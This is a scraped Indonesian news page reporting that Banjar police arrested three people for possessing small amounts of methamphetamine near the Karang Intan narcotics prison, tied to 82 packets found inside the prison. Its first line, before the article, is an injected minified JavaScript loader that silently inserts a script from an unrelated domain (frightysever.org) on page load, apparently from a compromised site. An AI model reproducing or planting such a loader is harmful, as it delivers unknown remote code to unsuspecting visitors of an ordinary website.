(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Satuan Reserse Narkoba Polres Banjar berhasil mengungkap 3 kasus tindak pidana narkotika, 3 tersangka berhasil diamankan, Kamis (24/5). Sat Resnarkoba Polres Banjar melakukan pengintaian di Lapas Narkotika Klas 2 Karang Intan, pasca terungkapnya 82 paket sabu yang gagal edar di Lapas itu.
Kapolres Banjar AKBP Takdir Mattanete melalui Kasat Resnarkoba Iptu Achmad Jarkasi mengatakan, pada Kamis (24/5) sekitar pukul 13.00 Wita, di belakang bangunan Lapas Narkotika Klas II Karang Intan Kabupaten Banjar, polisi berhasil mengamankan 2 orang pelaku A alias Kentung dan MHA alias Bolang.
Kedua orang terbukti tertangkap tangan miliki sabu-sabu 0,40 gram, satu sobekan plastik warna hijau, satu buah Hp Nokia warna hitam, satu lembar Resi Bank BRI an. Hamriah, satu buah batu dan uang tunai sebesar Rp 37.000.
Pada saat dilakukan penangkapan terhadap para pelaku ditemukan barang bukti berupa satu paket sabu-sabu yg diikat dengan plastik dan diberi batu sebagai pemberat yg ditemukan di dekat pelaku A yang diakui adalah miliknya.
Menurut Iptu Jarkasi, paket sabu tersebut dilempar dari dalam Lapas Narkotika Klas II Karang Intan yang merupakan pesanan A dan MHA dengan cara urunan uang bersama. “Kedua pelaku dan barang bukti diamankan ke Polres Banjar untuk proses hukum lebih lanjut,†sahutnya.
Tepisah, Sat Narkoba Polres Banjar juga berhasil mengamankan S alias Isah (26) warga desa Mandikapau, Kecamatan Karang Intan yang memiliki paket sabu-sabu 0,31 gram.
“Pada saat dilakukan penangkapan S ditemukan barang bukti berupa satu paket sabu-sabu yang sempat dijatuhkan pelaku ke tanah dekat pelaku berada dan selanjutnya pelaku beserta barang bukti dibawa ke Polres Banjar,†terangnya.
Penangkapan 3 orang pelaku tersebut merupakan pengembangan dari kasus barang bukti 82 paket sabu senilai Rp 20 juta di Lapas Narkotika Klas II A Karang Intan yang berhasil gagal edar setelah ditemukan petugas Lapas Karang Intan, Selasa (15/5). (rendy)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.